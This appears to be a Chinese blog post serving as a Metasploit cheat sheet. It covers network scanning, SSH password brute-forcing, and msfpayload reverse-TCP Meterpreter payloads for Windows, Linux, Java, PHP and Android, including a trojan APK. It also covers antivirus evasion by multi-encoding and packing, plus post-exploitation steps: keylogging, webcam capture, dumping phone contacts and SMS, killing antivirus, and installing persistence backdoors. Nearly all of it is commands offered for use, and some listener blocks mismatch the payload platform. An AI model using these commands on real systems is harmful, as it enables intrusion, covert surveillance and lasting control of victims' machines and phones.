Metasploit

Metasploit

MSF简介

Metasploit

  • Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF,Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。

专业术语

  • 渗透攻击(exploit):测试者利用系统、程序或服务的漏洞进行攻击的一个过程
  • 攻击载荷(payload):攻击者在目标系统上执行的一段攻击代码,该代码具有反弹连接,创建用户,执行其他系统命令的功能
  • shellcode:在目标机器上运行的一段机器指令,成功执行后会返回一个shell
  • 模块(module):Metasploit框架中所使用的一段软件代码组件
  • 监听器(listener):metasploit中一同来等待接入网络连接的组件

MSF基础知识

  • 启动:msfconsole

  • 查看命令帮助:help

  • 启动设置:

    • 启动postgresql:

    • 2.0之前:service postgresql start

    • 2.0之后:

      update-rc.d postgresql enable  //kali里的程序都不是开机自启的,将posgresql设为开机自启
      msfdb init  //第一次需要初始化
    • service metasploit start

    • msfconsole

    • 进入后输入db_status查看数据库连接状态

    • workspace -a test 创建一个工作台

    • 删除 -d 选项

    • workspace test进入test工作台

    • 使用namp:

    • db_namp -sS [IP] 扫描主机

    • db_export 1.xml导出扫描结果
    • db_export 1.xml导入扫描结果
    • hosts 查看扫描结果

信息搜集

信息搜集

  • whois查询

    • msf > whois example.com
    • msf > whois ip
  • nmap探测开放端口和服务:

    • -sS SYN半开扫描
    • -sT TCP半开扫描
    • -Pn 不使用ping方式探测主机
    • -A 探测服务类型
    • -6 开启IPV6扫描
    • -O 探测操作系统版本
  • 高级扫描方式

    • msf > use auxiliary/scanner/ip/ipidseq #IPID序列扫描器 与nmap的-sI -O类似

    • show options
      set RHOSTS IP段
      set RPORT8080
      set THREADS 50
      run
  • 使用portscan模块


    • msf > use auxiliary/scanner/postscan/syn
      set RHOSTS IP
      set THREADS 50
      run
  • 特定扫描

    • 例子:

    • smb_version模块

    msf > use auxiliary/scanner/smb/smb_version
    show options
    set RHOSTS IP段
    set threads 50
    run
    db_hosts -c address,os_flavor
  • 扫mssql主机


    • msf > use auxiliary/scanner/mssql/mssql_sqlping
      show options
      set RHOSTS IP段
      set thread 50
      run
  • ssh服务器扫描


    • msf > use auxiliary/scanner/ssh/ssh_version
      show options
      set RHOSTS IP段
      set thread 50
      run
  • Telnt扫描


    • msf > use auxiliary/scanner/telnt/telnt_version
      show options
      set RHOSTS IP段
      set thread 50
      run
  • 扫描服务异曲同工…..

  • 扫描ftp匿名登录


    • msf > use auxiliary/scanner/ftp/anonymous
      show options
      set RHOSTS IP段
      set thread 50
      run
  • 扫描局域网内有哪些主机存活


    • msf > use auxiliary/scanner/discovery/arp_sweep
      show options
      set RHOSTS IP段
      set thread 50
      run
  • 扫描网站目录


    • msf > use auxiliary/scanner/http/dir_scanner
      show options
      set RHOSTS IP段
      set thread 50
      run
  • 扫描SNMP主机:


    • msf > use auxiliary/scanner/snmp/snmp_login
      show options
      set RHOSTS IP段
      set thread 50
      run

密码爆破模块

ssh服务口令猜测

  • use auxiliary/scanner/ssh/ssh_login
    set RHOSTS IP
    set USERNAME 路径/user.txt
    set PASS_FILE 路径/pass.txt
    set threads 50
    exploit
  • 其他的都异曲同工,先使用search找到模块,再使用模块,查看show options,更新参数,开始exploit

漏洞利用模块

常用漏洞利用命令(一)

  • search 漏洞利用模块名称
  • use 漏洞利用模块
  • show options 显示选项
  • set [option name] option 设置选项
  • show payload
  • exploit

常用漏洞利用命令(二)

  • show targets 显示版本(os版本)
  • set TARGET [target number] 设置目标版本
  • exploit
  • session -l 列出会话
  • session -i [ID] 选择会话
  • session -k [ID] 结束会话
  • [ctrl]+z把会话放入后台

常用漏洞利用命令(三)

  • show auxiliary 显示辅助模块
  • use [auxiliary name] 使用
  • set [option name] option 设置选项
  • run

shellcode使用及免杀

windows

  • 生成shellcode:msfpayload windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] X > /root/text.exe

  • 侦听shellcode:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST [IP]
    set LPORT [PORT]
    exploit

linux

  • 生成shellcode:msfpayload linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] X > /root/text

  • 侦听shellcode:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST [IP]
    set LPORT [PORT]
    exploit

java

  • 生成shellcode:msfpayload java/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] X >123.jar

  • 侦听shellcode:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST [IP]
    set LPORT [PORT]
    exploit

php

  • 生成shellcode:msfpayload php/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] R >123.php

  • 侦听shellcode:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST [IP]
    set LPORT [PORT]
    exploit

android

  • 首要条件:
    • 网络能够联通,手机木马反连接,手机首先能上网,主机ip需要是外网ip
    • 让手机安装生成的apk
  • 生成shellcode:msfpayload android/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] R >/root/1.apk

  • 侦听shellcode:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST [IP]
    set LPORT [PORT]
    exploit
    dump_contacts   #导出电话
    dump_sms   #导出信息
    webcam list   #查看有几个摄像头
    webcam_snap   #拍照

shellcode常规免杀

  • 使用多重编码免杀
    • msfpayload windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -t exe -o /root/1.exe
  • 加壳免杀
  • upx -5
  • shellcode代码注入 工具

Meterpreter的使用

Meterpreter基本命令

  • 进入目标shell shell
  • 截屏 screenshot
  • 获取系统运行的平台 sysinfo
  • 获取键盘记录
    • keyscan_start
    • keyscan_dump
  • 查看进程 ps
  • 切换进程 migrate [winlogon.exe 进程号] (长期附着在系统上)

  • 进程迁移 run post/windows/manage/migrate

  • 关闭cmd run killav
  • 查看目标机所有流量 run packetrecorder -i 1
  • 提取系统信息 run scraper

持久控制PC

  • run persistence -X -i 50 -p [port] -r [IP]
  • msf侦听

持久控制服务器

  • 前提:服务器系统
  • run metsvc -A 安装后门
  • msf侦听
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值